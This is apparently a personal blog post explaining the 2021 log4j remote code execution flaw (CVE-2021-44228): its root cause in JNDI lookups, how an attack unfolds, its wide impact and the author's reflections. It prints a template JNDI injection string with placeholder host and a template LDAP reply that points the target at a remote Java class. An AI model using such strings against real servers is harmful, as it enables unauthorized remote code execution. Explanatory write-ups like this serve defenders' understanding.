A merry LOGmas

Disclaimer: All exploits stated in this article are only for educational purposes and all the views expressed in this article are my own personal views and should not be associated with any other organizations/parties that I currently/used to represent.

What’s happening

On December 12th 2021, the discovery of a criticial zero-day vulnerability in the log4j package shook the security community. This zero-day was tweeted, along with a POC published on github and has since been published as CVE-2021-44228. Within hours, there were numerous different versions of public POCs going around and twitter was mad active with tweets going around that various servers with the likes of Minecraft, Steam etc. are all vulnerable to this 0-day exploit.

In the days that followed, more details about the vulnerability has been slowly unveiled. More and more companies are slowly being discovered to be vulnerable to this package while security teams are rushing to fight the spreading log4j fire. This post primarily talks about the technical details about log4j exploit and my view regarding this rce.

What is log4j

Log4j is a popular logging library that is widely used in many of production applications.

What is the log4j rce about?

The log4j RCE is an unauthenticated rce that can allow anyone to exploit the logging function done by log4j by crafting a malicious payload that can do a JNDI lookup which could possibly trigger a remote LDAP call, causing a malicious Java ckass to be instantiated.

The root cause of this vulnerability is due to the fact that unlike the common assumption that logging frameworks treat messages only as data and handle basic formatting, the log4j framework actually added lookups which included JNDI lookups. These JNDI lookups are generally not properly restricted which allows data or resources to be returned. Unfortunately, one of the data types which could be returned is a URI pointing to a Java class. This potentially meant that if we are able to load an untrusted Java class, we will be unknowingly executing someone else’s malicious code.

This vulnerability is even more dangerous because log4j is commonly used to log our HTTP headers in the production environments. This meant that any attacker can trigger this exploit by simply intercepting the request and modifying the HTTP headers.

How the rce works

In the primary phase of the attack, the attacker will craft a malicious JNDI lookup string(such as ${jndi:ldap//<host>:<post>/path}) and include it in the vulnerable fields.

Afterwards, the vulnerable log4j instance will then make an LDAP query to the URI and the LDAP server will then respond with the directory information containing the secondary payload link.

dn:
javaClassName: <java class name>
javaCodeBase: <base url>
objectClass: javaNamingReference
javaFactory : <file base>

This seconday payload link contains the javaCodeBase and javaFactory that will be used to construct the location which contains the malicious Java class. Finally, the java class will be loaded into the memory and executed by the vulnerable log4j instance, completing the rce attack.

Impact

The impact of this log4j vulnerability has been very widespread (possibly able to match the likes of shellshock), with more and more companies being discovered to be vulnerable by each day. Security teams all across the different industries are all rushing to patch and detect potential exploitations.

Apart from that, there are variants of exploit string appearing in the wild each day that can avoid WAF detection and successfully exploit the vulnerable servers by evading the WAF.

With the scale at which this exploit is developing at, attackers are investing more time and resources into research of this vulnerability. It can be reasonable to be prepared that large scales attack campaigns with automated exploitation of such a vulnerability might soon emerge.

Afterthoughts

The sheer fact that the JNDI injection has been brought up and publicized during the Black Hat USA 2016 and the fact that this vulnerable feature has been requested in 2013 (no hate for the devs) means that this vulnerability has been around us for the last 5-8 years and yet it remains largely undetected until this fateful day. It actually brings me creeps that this vulnerability has been able to remain undetected for such a long time, and also due the sheer outreach of this vulnerability. This also serves as a timely reminder to everyone that there is no such thing as 100% secure systems, we would have to constantly keep our guard up to defend ourselves against such vulnerabilities.